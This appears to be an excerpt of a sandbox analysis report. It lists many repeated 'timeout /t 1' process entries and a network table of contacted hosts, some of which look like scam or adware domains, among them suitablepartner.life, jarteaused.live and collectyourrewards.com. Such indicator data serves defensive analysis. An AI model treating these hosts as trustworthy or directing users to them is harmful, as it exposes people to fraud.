C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

Network

Country Destination Domain Proto
N/A 127.0.0.1:49730 tcp
N/A 127.0.0.1:49737 tcp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 8.8.8.8:53 spocs.getpocket.com udp
US 8.8.8.8:53 getpocket.cdn.mozilla.net udp
US 8.8.8.8:53 content-signature-2.cdn.mozilla.net udp
US 34.120.5.221:443 prod.pocket.prod.cloudops.mozgcp.net tcp
US 34.117.188.166:443 contile.services.mozilla.com tcp
US 34.117.188.166:443 contile.services.mozilla.com udp
US 34.160.144.191:443 content-signature-2.cdn.mozilla.net tcp
US 34.117.188.166:443 contile.services.mozilla.com tcp
US 8.8.8.8:53 push.services.mozilla.com udp
US 8.8.8.8:53 firefox.settings.services.mozilla.com udp
US 35.164.250.149:443 shavar.services.mozilla.com tcp
US 34.149.100.209:443 firefox.settings.services.mozilla.com tcp
US 34.107.243.93:443 autopush.prod.mozaws.net tcp
US 34.107.243.93:443 autopush.prod.mozaws.net tcp
US 172.67.149.49:443 xn--d1aby8ac.xn--p1ai tcp
US 172.67.149.49:443 xn--d1aby8ac.xn--p1ai udp
US 34.149.100.209:443 firefox.settings.services.mozilla.com tcp
US 104.18.11.207:443 stackpath.bootstrapcdn.com tcp
US 104.18.11.207:443 stackpath.bootstrapcdn.com udp
CH 185.155.186.17:443 suitablepartner.life tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
US 151.101.1.229:443 jsdelivr.map.fastly.net tcp
US 151.101.1.229:443 jsdelivr.map.fastly.net udp
DE 136.243.216.235:443 jsontdsexit2.com tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
US 104.21.15.153:443 collectyourrewards.com tcp
US 104.21.15.153:443 collectyourrewards.com udp
US 151.101.194.137:443 code.jquery.com tcp
US 35.244.181.201:443 prod.balrog.prod.cloudops.mozgcp.net tcp
US 34.149.100.209:443 firefox.settings.services.mozilla.com tcp
US 34.160.144.191:443 prod.content-signature-chains.prod.webservices.mozgcp.net tcp
US 34.160.144.191:443 prod.content-signature-chains.prod.webservices.mozgcp.net tcp
NL 2.18.121.79:80 a19.dscg10.akamai.net tcp
GB 142.250.187.206:443 redirector.gvt1.com tcp
GB 142.250.187.206:443 redirector.gvt1.com udp
GB 173.194.183.166:443 r1---sn-aigl6ney.gvt1.com tcp
GB 173.194.183.166:443 r1---sn-aigl6ney.gvt1.com udp
US 34.117.188.166:443 contile.services.mozilla.com udp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
CH 185.155.186.17:443 suitablepartner.life tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
GB 142.250.178.14:80 google.com tcp
GB 142.250.187.196:80 www.google.com tcp
GB 142.250.187.196:443 www.google.com tcp
GB 142.250.187.196:443 www.google.com udp
GB 142.250.200.14:443 plus.l.google.com tcp
GB 142.250.200.14:443 plus.l.google.com udp
GB 142.250.179.238:443 play.google.com tcp
GB 142.250.179.238:443 play.google.com udp
CH 185.155.186.17:443 suitablepartner.life tcp
US 104.26.9.59:443 trk.adtrk18.com tcp
US 104.21.58.3:443 abc.xyzabctrk.net tcp
US 104.21.58.3:443 abc.xyzabctrk.net udp
US 104.21.77.110:443 mobilegurupromarketing.lat tcp
US 104.21.77.110:443 mobilegurupromarketing.lat udp
US 8.8.8.8:53 unpkg.com udp
US 8.8.8.8:53 code.jquery.com udp
US 8.8.8.8:53 stackpath.bootstrapcdn.com udp
US 151.101.1.229:443 jsdelivr.map.fastly.net tcp
US 151.101.1.229:443 jsdelivr.map.fastly.net tcp
US 151.101.1.229:443 jsdelivr.map.fastly.net tcp
US 151.101.1.229:443 jsdelivr.map.fastly.net tcp
US 151.101.1.229:443 jsdelivr.map.fastly.net tcp
US 104.17.24.14:443 cdnjs.cloudflare.com tcp
US 104.17.24.14:443 cdnjs.cloudflare.com tcp
US 104.17.24.14:443 cdnjs.cloudflare.com tcp
US 104.17.248.203:443 unpkg.com tcp
US 104.17.248.203:443 unpkg.com tcp
US 104.17.248.203:443 unpkg.com tcp
US 104.17.248.203:443 unpkg.com tcp
US 151.101.194.137:443 code.jquery.com tcp
US 104.18.10.207:443 stackpath.bootstrapcdn.com tcp
US 151.101.1.229:443 jsdelivr.map.fastly.net udp
US 104.17.24.14:443 cdnjs.cloudflare.com udp
US 104.18.10.207:443 stackpath.bootstrapcdn.com udp
US 35.244.181.201:443 aus5.mozilla.org tcp
US 104.21.77.110:443 mobilegurupromarketing.lat udp
US 104.17.24.14:443 cdnjs.cloudflare.com udp
US 104.18.10.207:443 stackpath.bootstrapcdn.com udp
US 151.101.1.229:443 jsdelivr.map.fastly.net udp
US 151.101.1.229:443 jsdelivr.map.fastly.net udp
GB 142.250.187.196:443 www.google.com udp
GB 142.250.179.238:443 play.google.com udp
GB 142.250.187.238:443 consent.google.com tcp
GB 142.250.187.238:443 consent.google.com udp
GB 45.145.101.85:443 www.elitegroup.com tcp
US 8.8.8.8:53 ajax.googleapis.com udp
US 104.17.24.14:443 cdnjs.cloudflare.com tcp
US 104.17.24.14:443 cdnjs.cloudflare.com tcp
US 104.17.24.14:443 cdnjs.cloudflare.com tcp
US 8.8.8.8:53 js-eu1.hs-scripts.com udp
GB 142.250.187.196:443 www.google.com tcp
US 104.18.11.207:443 stackpath.bootstrapcdn.com tcp
US 8.8.8.8:53 maxcdn.bootstrapcdn.com udp
US 104.18.11.207:443 maxcdn.bootstrapcdn.com tcp
BE 104.68.81.91:443 e4016.a.akamaiedge.net tcp
GB 172.217.16.234:443 ajax.googleapis.com tcp
GB 142.250.179.234:443 maps.googleapis.com tcp
US 172.65.208.22:443 js-eu1.hs-scripts.com tcp
US 104.17.24.14:443 cdnjs.cloudflare.com udp
GB 142.250.179.234:443 maps.googleapis.com udp
GB 172.217.16.234:443 ajax.googleapis.com udp
GB 142.250.187.196:443 www.google.com udp
US 172.65.208.22:443 js-eu1.hs-scripts.com tcp
US 104.18.11.207:443 maxcdn.bootstrapcdn.com udp
US 204.79.197.237:443 dual-a-0034.a-msedge.net tcp
US 18.239.208.69:443 script.infinity-tracking.com tcp
US 104.18.11.207:443 maxcdn.bootstrapcdn.com udp
US 8.8.8.8:53 dual-a-0034.a-msedge.net udp
US 8.8.8.8:53 script.infinity-tracking.com udp
GB 142.250.179.234:443 maps.googleapis.com udp
US 18.239.208.69:443 script.infinity-tracking.com udp
US 8.8.8.8:53 snap.licdn.com udp
US 8.8.8.8:53 234.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 234.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 91.81.68.104.in-addr.arpa udp
US 8.8.8.8:53 js-eu1.usemessages.com udp
US 8.8.8.8:53 js-eu1.hs-banner.com udp
US 8.8.8.8:53 js-eu1.hs-analytics.net udp
US 8.8.8.8:53 js-eu1.hscollectedforms.net udp
US 8.8.8.8:53 22.208.65.172.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 69.208.239.18.in-addr.arpa udp
DE 141.101.90.96:443 js-eu1.usemessages.com tcp
US 172.65.202.201:443 js-eu1.hs-banner.com tcp
US 172.65.192.122:443 forms-eu1.hscollectedforms.net tcp
GB 18.134.214.154:443 web.lon.infinity-tracking.com tcp
US 172.65.202.85:443 api-eu1.hubspot.com tcp
US 172.65.202.85:443 api-eu1.hubspot.com tcp
US 172.65.192.122:443 forms-eu1.hscollectedforms.net tcp
US 172.65.232.43:443 forms-eu1.hsforms.com tcp
US 104.22.59.91:443 cdn-cookieyes.com tcp
GB 51.11.20.152:443 secure.main5poem.com tcp
US 172.65.232.43:443 forms-eu1.hsforms.com udp
GB 18.134.23.129:443 nas.lon.infinity-tracking.com tcp
US 8.8.8.8:53 154.214.134.18.in-addr.arpa udp
US 8.8.8.8:53 91.59.22.104.in-addr.arpa udp
US 8.8.8.8:53 152.20.11.51.in-addr.arpa udp
US 8.8.8.8:53 log.cookieyes.com udp
IE 18.202.136.23:443 log.cookieyes.com tcp
US 18.239.208.87:443 static-cdn.hotjar.com tcp
US 2.17.251.25:443 a1916.dscg2.akamai.net tcp
US 172.65.238.60:443 18ea70d2d9a945cfb97d818ba71817dc.pacloudflare.com tcp
US 2.17.251.25:443 a1916.dscg2.akamai.net tcp
GB 163.70.151.21:443 scontent.xx.fbcdn.net tcp
GB 163.70.151.21:443 scontent.xx.fbcdn.net udp
US 13.107.42.14:443 px.ads.linkedin.com tcp
US 13.107.42.14:443 px.ads.linkedin.com tcp
GB 163.70.151.35:443 star-mini.c10r.facebook.com tcp
GB 163.70.151.35:443 star-mini.c10r.facebook.com udp
US 104.18.37.212:443 js.zi-scripts.com tcp
US 172.65.236.181:443 app-eu1.hubspot.com tcp
US 8.8.8.8:53 a16dda3b33f14e7dbbf0aee44dc53784.pacloudflare.com udp
US 104.18.37.212:443 js.zi-scripts.com udp
US 104.18.37.212:443 js.zi-scripts.com tcp
US 104.18.37.212:443 js.zi-scripts.com tcp
US 104.17.176.91:443 static.hsappstatic.net tcp
US 104.17.176.91:443 static.hsappstatic.net tcp
US 104.17.176.91:443 static.hsappstatic.net tcp
US 104.17.176.91:443 static.hsappstatic.net tcp
US 104.16.118.43:443 ws.zoominfo.com tcp
US 104.16.118.43:443 ws.zoominfo.com tcp
US 8.8.8.8:53 ws.zoominfo.com udp
US 8.8.8.8:53 region1.analytics.google.com udp
US 8.8.8.8:53 stats.g.doubleclick.net udp
US 8.8.8.8:53 www.google.co.uk udp
US 8.8.8.8:53 212.37.18.104.in-addr.arpa udp
US 8.8.8.8:53 181.236.65.172.in-addr.arpa udp
US 8.8.8.8:53 43.118.16.104.in-addr.arpa udp
US 8.8.8.8:53 91.176.17.104.in-addr.arpa udp
GB 142.250.200.3:443 www.google.co.uk tcp
US 216.239.34.36:443 region1.google-analytics.com tcp
US 104.16.118.43:443 ws.zoominfo.com udp
DE 141.101.90.96:443 metrics-fe-eu1.hubspot.com tcp
GB 142.250.200.3:443 www.google.co.uk udp
US 216.239.34.36:443 region1.google-analytics.com udp
US 162.247.243.39:443 js-agent.newrelic.com tcp
BE 74.125.133.155:443 stats.g.doubleclick.net tcp
GB 142.250.200.2:443 googleads.g.doubleclick.net tcp
US 162.247.243.30:443 fastly-tls12-bam-cell.nr-data.net tcp
BE 74.125.133.155:443 stats.g.doubleclick.net udp
GB 142.250.200.2:443 googleads.g.doubleclick.net udp
US 162.247.243.30:443 fastly-tls12-bam-cell.nr-data.net tcp
US 104.16.118.43:443 ws.zoominfo.com udp
US 141.101.90.97:443 metrics-fe-eu1.hubspot.com tcp
GB 142.250.178.14:443 encrypted-tbn1.gstatic.com tcp
GB 142.250.178.14:443 encrypted-tbn1.gstatic.com tcp
GB 142.250.178.14:443 encrypted-tbn1.gstatic.com tcp
GB 142.250.178.14:443 encrypted-tbn1.gstatic.com tcp
GB 142.250.178.14:443 encrypted-tbn1.gstatic.com tcp
GB 142.250.178.14:443 encrypted-tbn1.gstatic.com tcp
GB 142.250.180.14:443 encrypted-tbn2.gstatic.com tcp
GB 142.250.180.14:443 encrypted-tbn2.gstatic.com tcp
GB 142.250.178.14:443 encrypted-tbn1.gstatic.com tcp
GB 142.250.178.14:443 encrypted-tbn1.gstatic.com tcp
GB 142.250.180.14:443 encrypted-tbn2.gstatic.com udp
GB 142.250.178.14:443 encrypted-tbn1.gstatic.com udp
GB 142.250.178.14:443 encrypted-tbn1.gstatic.com udp
CH 185.155.186.17:443 suitablepartner.life tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
GB 172.217.16.234:443 ajax.googleapis.com tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
US 151.101.1.229:443 cdn.jsdelivr.net tcp
GB 172.217.16.234:443 ajax.googleapis.com udp
US 151.101.1.229:443 cdn.jsdelivr.net udp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
